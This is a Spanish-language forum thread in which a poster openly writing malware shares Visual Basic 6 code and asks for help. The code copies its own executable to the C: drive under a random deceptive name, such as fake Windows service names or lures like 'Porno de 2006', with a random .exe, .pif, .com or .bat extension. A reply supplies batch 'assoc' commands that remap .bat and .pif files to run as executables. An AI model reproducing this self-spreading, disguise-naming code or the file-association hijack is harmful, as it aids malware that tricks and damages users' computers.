Hola, estoy programando un malware que tome como nombre
para copiarse uno entre 30 opciones y 4 extensiones (.exe, .pif, .bat y .com ),
todo va bien hasta este punto, genera el nombre y la extension correctamente :D
pero si sale un archivo com, pif o bat y lo ejecuto me lanza error que dice:
Error '53' en tiempo de ejecucion :
no se ha encontrado el archivo >:(
Les dejo el code para que lo analizen:
CitarOption Explicit
Dim nombre As String
Dim exte As String
Dim toxico
Dim popo
Private Sub Form_Load()
Randomize
toxico = Int(Rnd * 30)
If toxico = 0 Then nombre = "Windows sevicess"
If toxico = 1 Then nombre = "Wininit"
If toxico = 2 Then nombre = "Sexy"
If toxico = 3 Then nombre = "runexe"
If toxico = 4 Then nombre = "puppet"
If toxico = 5 Then nombre = "shit"
If toxico = 6 Then nombre = "*****"
If toxico = 7 Then nombre = "Winsock32.dll"
If toxico = 8 Then nombre = "Root"
If toxico = 9 Then nombre = "Firewall"
If toxico = 10 Then nombre = "XP"
If toxico = 11 Then nombre = "WinNT"
If toxico = 12 Then nombre = "winXP"
If toxico = 13 Then nombre = "Logger"
If toxico = 14 Then nombre = "sucker"
If toxico = 15 Then nombre = "apestas"
If toxico = 16 Then nombre = "line"
If toxico = 17 Then nombre = "p**a"
If toxico = 18 Then nombre = "setsi"
If toxico = 19 Then nombre = "ozorio"
If toxico = 20 Then nombre = "sevicess"
If toxico = 21 Then nombre = "mi_vida-atte-tu compu"
If toxico = 22 Then nombre = "Informacion"
If toxico = 23 Then nombre = "Porno de 2006"
If toxico = 24 Then nombre = "nada"
If toxico = 25 Then nombre = "alg"
If toxico = 26 Then nombre = "que_joto_eres"
If toxico = 27 Then nombre = "me_cagas"
If toxico = 28 Then nombre = "abreme"
If toxico = 29 Then nombre = "no se"
Randomize
popo = Int(Rnd * 4)
If popo = 0 Then exte = ".exe"
If popo = 1 Then exte = ".pif"
If popo = 2 Then exte = ".com"
If popo = 3 Then exte = ".bat"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\" & nombre & exte
End sub
Espero puedan ayudarme ;D
a ver si entendi quieres ejecutar tu archivo como si fuera un .bat o un .pif o .com ,bueno si es esto lamento decirte que no se puede
Gracias por contestar, lo que pasaba era que queria saber porque me
producia error al ejecutar una copia del mismo (con extension .exe)
con otra extension (pif,com,bat), pero veo que has respondido que
no se puede >:(, de todas formas gracias :D
Cita de: At0XXXic0 en 19 Marzo 2008, 02:51 AM
Gracias por contestar, lo que pasaba era que queria saber porque me
producia error al ejecutar una copia del mismo (con extension .exe)
con otra extension (pif,com,bat), pero veo que has respondido que
no se puede >:(, de todas formas gracias :D
bueno,lo que te dije es algo basico ,aunque si ai una forma de hacerlo que seria modificando el registro i poner que los bat , los pif y los com se ejecuten como si fueran exe`s no tengo tiempo para escribirte el code pero te dejo uno de batch
assoc .exe=exefile
assoc .bat=exefile
assoc .pif=exefile
Ok! gracias